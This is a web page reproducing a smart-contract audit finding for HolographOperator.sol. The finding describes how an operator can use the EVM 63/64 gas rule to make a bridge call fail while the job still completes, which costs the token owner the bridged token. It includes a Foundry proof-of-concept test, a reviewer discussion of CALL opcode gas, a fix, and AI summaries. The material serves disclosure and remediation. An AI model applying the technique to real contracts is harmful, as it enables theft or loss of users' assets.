Gas limit check is inaccurate, leading to an operator being able to fail a job intentionally
The gas limit check in HolographOperator.sol is inaccurate because the actual gas available for the bridge call is less than the checked amount due to the 1/64 rule. An attacker can exploit this gap to make the bridge call fail while the job execution continues, causing the token owner to lose access to the bridged token.
There’s a check at line 316 that verifies that there’s enough gas left to execute the HolographBridge.bridgeInRequest() with the gasLimit set by the user, however the actual amount of gas left during the call is less than that (mainly due to the 1/64 rule, see below).
An attacker can use that gap to fail the job while still having the executeJob() function complete.
Impact
The owner of the bridged token would loose access to the token since the job failed.
Proof of Concept
Besides using a few units of gas between the check and the actual call, there’s also a rule that only 63/64 of the remaining gas would be dedicated to an (external) function call. Since there are 2 external function calls done (nonRevertingBridgeCall() and the actual call to the bridge) ~2/64 of the gas isn’t sent to the bridge call and can be used after the bridge call runs out of gas.
The following PoC shows that if the amount of gas left before the call is at least 1 million then the execution can continue after the bridge call fails:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
contract ContractTest is Test {
event FailedOperatorJob(bytes32 jobHash);
uint256 private _inboundMessageCounter;
mapping(bytes32 => bool) private _failedJobs;
constructor(){
_inboundMessageCounter = 5;
}
function testGas64() public {
this.entryPoint{gas:1000000}();
}
Bridge bridge = new Bridge();
event GasLeftAfterFail(uint left);
function entryPoint() public {
console2.log("Gas left before call: ", gasleft());
bytes32 hash = 0x987744358512a04274ccfb3d9649da3c116cd6b19c535e633ef8529a80cb06a0;
try this.intermediate(){
}catch{
// check out how much gas is left after the call to the bridge failed
console2.log("Gas left after failure: ", gasleft());
// simulate operations done after failure
_failedJobs[hash] = true;
emit FailedOperatorJob(hash);
}
++_inboundMessageCounter;
console2.log("Gas left at end: ", gasleft());
}
function intermediate() public{
bridge.bridgeCall();
}
}
contract Bridge{
event Done(uint gasLeft);
uint256[] myArr;
function bridgeCall() public {
for(uint i =1; i <= 100; i++){
myArr.push(i);
}
// this line would never be reached, we'll be out of gas beforehand
emit Done(gasleft());
}
}
Output of PoC:
Gas left before call: 999772
Gas left after failure: 30672
Gas left at end: 1628
Side note: due to some bug in forge _inboundMessageCounter would be considered warm even though it’s not necessarily the case. However in a real world scenario we can warm it up if the selected operator is a contract and we’er using another operator contract to execute a job in the same tx beforehand.
Modify the required amount of gas left to gasLimit + any amount of gas spent before reaching the call(), then multiply it by 32/30 to mitigate the 1/64 rule (+ some margin of safety maybe).
There are some risks but would require the nested call gas limit to be pretty high (e.g. 1m used in the poc) to have enough gas (1/64) left afterward so that it doesn’t revert due to out-of-gas.
@gzeon - actually this is not a limitation. When the call argument passes a gaslimit which is lower than the available gas, it instantly reverts with no gas wasted. Therefore we will have 64/64 of the gas amount to work with post-revert.
I have explained this in duplicate report #437.
When the call argument passes a gaslimit which is lower than the available gas, it instantly reverts with no gas wasted.
You mean higher than the available gas?
I thought the same, but doing some testing and reading the Yellow Paper it turns out it wouldn’t revert just because the gas parameter is higher than the available gas.
You can modify the PoC above to test that too.
contract Storage {
/**
* @dev Return value
* @return value of 'number'
*/
function gas_poc() public returns (uint256, uint256){
uint256 left_gas = gasleft();
address this_address = address(this);
assembly {
let result := call(
/// @dev gas limit is retrieved from last 32 bytes of payload in-memory value
left_gas,
/// @dev destination is bridge contract
this_address,
/// @dev any value is passed along
0,
/// @dev data is retrieved from 0 index memory position
0,
/// @dev everything except for last 32 bytes (gas limit) is sent
0,
0,
0
)
}
uint256 after_left_gas = gasleft();
return (left_gas, after_left_gas);
}
fallback() external {
}
}
We pass a lower gas limit than what we have in the “call” opcode, which reverts.
The function returns
{
"0": "uint256: 3787",
"1": "uint256: 3579"
}
Meaning only the gas consumed by the call opcode was deducted, not 63/64.
In your example the fallback function is actually being called, it’s just doesn’t use much gas, I’ve added an event to confirm that:
contract Storage {
event Cool();
/**
* @dev Return value
* @return value of 'number'
*/
function gas_poc() public returns (uint256, uint256){
uint256 left_gas = gasleft();
address this_address = address(this);
assembly {
let result := call(
/// @dev gas limit is retrieved from last 32 bytes of payload in-memory value
left_gas,
/// @dev destination is bridge contract
this_address,
/// @dev any value is passed along
0,
/// @dev data is retrieved from 0 index memory position
0,
/// @dev everything except for last 32 bytes (gas limit) is sent
0,
0,
0
)
}
uint256 after_left_gas = gasleft();
return (left_gas, after_left_gas);
}
fallback() external {
emit Cool();
}
}
@0xA5DF - Yeah , it seems my setup when I tested this during the contest was wrong, because it instantly reverted in the CALL opcode.
Page 37 of the Yellow book describes the GASCAP as minimum of gasLeft input and current gas counter minus costs:
Thanks for the good direct counterexample.
@gzeon - Right, we were discussing if call to child will instantly revert because requestedGas > availableGas, but it doesn’t.
The point was that executor can always craft supplied gas to the contract, so that during the CALL opcode, gas left would be smaller than requested gas limit. If EVM behavior reverts in this check, we have deterministic failing of bridgeIn.
The original report as published on Code4rena, by 0xA5DF. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
The gas check does not account for the 1/64 rule and gas spent between the check and the call, so the actual gas available for the bridge call is less than the checked amount.
Impact
The owner of the bridged token could lose access to the token because the job fails, but this requires a high gas limit (e.g., 1 million) to leave enough gas for the job to complete after the bridge call fails.
What the attacker needed
Attacker is an operator; attacker can set gas limit; high gas limit (e.g., 1 million)
The fix
The required gas left should be increased to account for gas spent before the call and the 1/64 rule, for example by multiplying by 32/30 and adding a safety margin.
How it was found
Set a gas limit that passes the check but is higher than the actual gas available for the bridge call.
The bridge call runs out of gas and fails, but the executeJob function continues.
The job is marked as failed, and the token owner loses access to the bridged token.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
In Ethereum, when a contract calls another contract, only 63/64 of the remaining gas is forwarded. The code checks that enough gas is left to cover the user-specified gas limit, but it doesn't account for this rule. So an attacker can set a gas limit that passes the check but still causes the call to run out of gas, making the job fail while the main function completes.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.